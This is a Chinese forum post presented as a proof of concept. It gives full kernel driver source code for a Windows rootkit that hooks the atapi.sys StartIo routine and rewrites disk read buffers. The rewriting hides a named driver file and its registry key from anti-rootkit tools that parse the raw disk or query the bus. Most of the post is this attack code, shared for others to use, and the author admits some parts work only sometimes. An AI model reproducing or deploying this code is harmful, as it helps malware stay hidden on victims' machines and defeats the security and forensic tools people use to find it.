[POC]基于IO Packet隐藏文件和注册表,过磁盘解析和总线解析
昨天晚上玩过游戏,睡觉前写了一点代码,下午醒来又稍微改了改
只是POC~
文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了,不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE,所以对于用API或者FSD的文件检查反而过不去~
注册表的部分过FILE CACHE的低强度解析(例如狙剑)也是过不了的~由于这方面工具很少,冰刃和DARKSPY又总是在我的虚拟机上蓝屏,所以就没仔细测试了~也许有问题~
hook了atapi.sys的StartIo例程(由IoStartPacket例程调用,SCSI REQUEST BLOCK最后会调用到这里),过滤磁盘访问~
目标是隐藏名为mj0011k.sys及其注册表项~
绕过所有磁盘解析(例如狙剑、FILEREG、RKU、RKR)
和总线解析(例如RKU发送SRB到ATAPI)
文件隐藏的handler直接照抄了AZY的代码 ^_^
代码:
ULONG oldstartio; PDRIVER_OBJECT atapi_dev ; VOID unload( PDEVICE_OBJECT DeviceObject, PIRP Irp ) { atapi_dev->DriverStartIo = oldstartio ; return ; } CHAR fileHide[] = "MJ0011K"; CHAR fileExt[] = "SYS"; WCHAR hideFile[] = L"MJ0011K.SYS"; typedef struct _INDEX_HEADER{ UCHAR magic[4]; USHORT UpdateSequenceOffset; USHORT SizeInWords; LARGE_INTEGER LogFileSeqNumber; LARGE_INTEGER VCN; ULONG IndexEntryOffset; // needed! ULONG IndexEntrySize; ULONG AllocateSize; }INDEX_HEADER, *PINDEX_HEADER; typedef struct _INDEX_ENTRY{ LARGE_INTEGER MFTReference; USHORT Size; // needed! USHORT FileNameOffset; USHORT Flags; USHORT Padding; LARGE_INTEGER MFTReferParent; LARGE_INTEGER CreationTime; LARGE_INTEGER ModifyTime; LARGE_INTEGER FileRecModifyTime; LARGE_INTEGER AccessTime; LARGE_INTEGER AllocateSize; LARGE_INTEGER RealSize; LARGE_INTEGER FileFlags; UCHAR FileNameLength; UCHAR NameSpace; WCHAR FileName[1]; }INDEX_ENTRY, *PINDEX_ENTRY; CHAR NtfsFileRecordHeader[] = "FILE"; CHAR NtfsIndexRootHeader[] = "INDX"; #define FILERECORDSIZE 1024 ULONG xxlong = 0x7 ; WCHAR regname[] = L"MJ0011K"; VOID HandleRegHide(PVOID buf , ULONG len ) { ULONG i ; for (i = 0 ; i < len ; i ++) { if (i + 4 >= len) { break ; } if (*(ULONG*)((ULONG)buf + i ) == xxlong) { if (i + 4 + xxlong * sizeof(WCHAR) >= len) { break ; } if (_wcsnicmp((wchar_t*)((ULONG)buf + i + 4) , regname , xxlong)) { RtlZeroMemory((PVOID)((ULONG)buf + i + 4) , xxlong * sizeof(WCHAR)); *(ULONG*)((ULONG)buf +i ) = 0 ; break ; } } } return ; } VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen) { ULONG i; BOOLEAN bIsNtfsIndex; BOOLEAN bIsNtfsFile; ULONG offset = 0; ULONG indexSize = 0; PINDEX_ENTRY currIndxEntry = NULL; PINDEX_ENTRY preIndxEntry = NULL; ULONG currPosition; bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0); bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0); if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE) { for(i = 0; i < BufLen/0x20; i++) { if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3)) { *(PUCHAR)UserBuf = 0xe5; *(PULONG)((ULONG)UserBuf + 0x1) = 0; break; } UserBuf = (PVOID)((ULONG)UserBuf + 0x20); } } else if(bIsNtfsFile) { //DbgPrint("FILE0..."); for(i = 0; i < BufLen / FILERECORDSIZE; i++) { if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9)) { memset((PVOID)UserBuf, 0, 0x4); memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18); break; } UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE); } } else if(bIsNtfsIndex) { //DbgPrint("INDX..."); // Index Entries offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18; indexSize = BufLen - offset; currPosition = 0; currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset); //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize); while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0) { if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9)) { memset((PVOID)currIndxEntry->FileName, 0, 18); if(currPosition == 0) { ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size; break; } preIndxEntry->Size += currIndxEntry->Size; break; } currPosition += currIndxEntry->Size; preIndxEntry = currIndxEntry; currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size); } } } VOID mystartio( PDEVICE_OBJECT DeviceObject, PIRP Irp ) { PIO_STACK_LOCATION irp_stack ; irp_stack = IoGetCurrentIrpStackLocation(Irp); if (irp_stack->DeviceObject->DeviceType == FILE_DEVICE_DISK && irp_stack->Parameters.Scsi.Srb->Function == SRB_FUNCTION_EXECUTE_SCSI && irp_stack->Parameters.Scsi.Srb->CdbLength == 0xA && (irp_stack->Parameters.Scsi.Srb->SrbFlags & SRB_FLAGS_DATA_IN) && irp_stack->Parameters.Scsi.Srb->DataBuffer && irp_stack->Parameters.Scsi.Srb->DataTransferLength ) { PVOID buf = irp_stack->Parameters.Scsi.Srb->DataBuffer ; ULONG len = irp_stack->Parameters.Scsi.Srb->DataTransferLength ; ULONG i ; PMDL mdl = Irp->MdlAddress ; KDMSG(("disk device bus read request!lba = %08x , len = %08x\n", irp_stack->Parameters.Scsi.Srb->QueueSortKey , irp_stack->Parameters.Scsi.Srb->DataTransferLength)); __asm { push Irp push DeviceObject call oldstartio } buf = MmGetSystemAddressForMdl(mdl ); HandleAkDiskHide(buf , len ); HandleRegHide(buf , len); return ; } __asm { push Irp push DeviceObject call oldstartio } return ; } NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath) { UNICODE_STRING uniname ; NTSTATUS stat ; drvobj->DriverUnload = (PDRIVER_UNLOAD )unload ; RtlInitUnicodeString(&uniname , L"\\Driver\\Atapi"); stat = ObReferenceObjectByName(&uniname , OBJ_CASE_INSENSITIVE , NULL , 0, *IoDriverObjectType , KernelMode , NULL , (PVOID*)&atapi_dev); if (!NT_SUCCESS(stat)) { KDMSG(("get atapi drvobj failed , stat = %08x\n" , stat)); return stat ; } oldstartio = atapi_dev->DriverStartIo ; atapi_dev->DriverStartIo = mystartio; return STATUS_SUCCESS ; }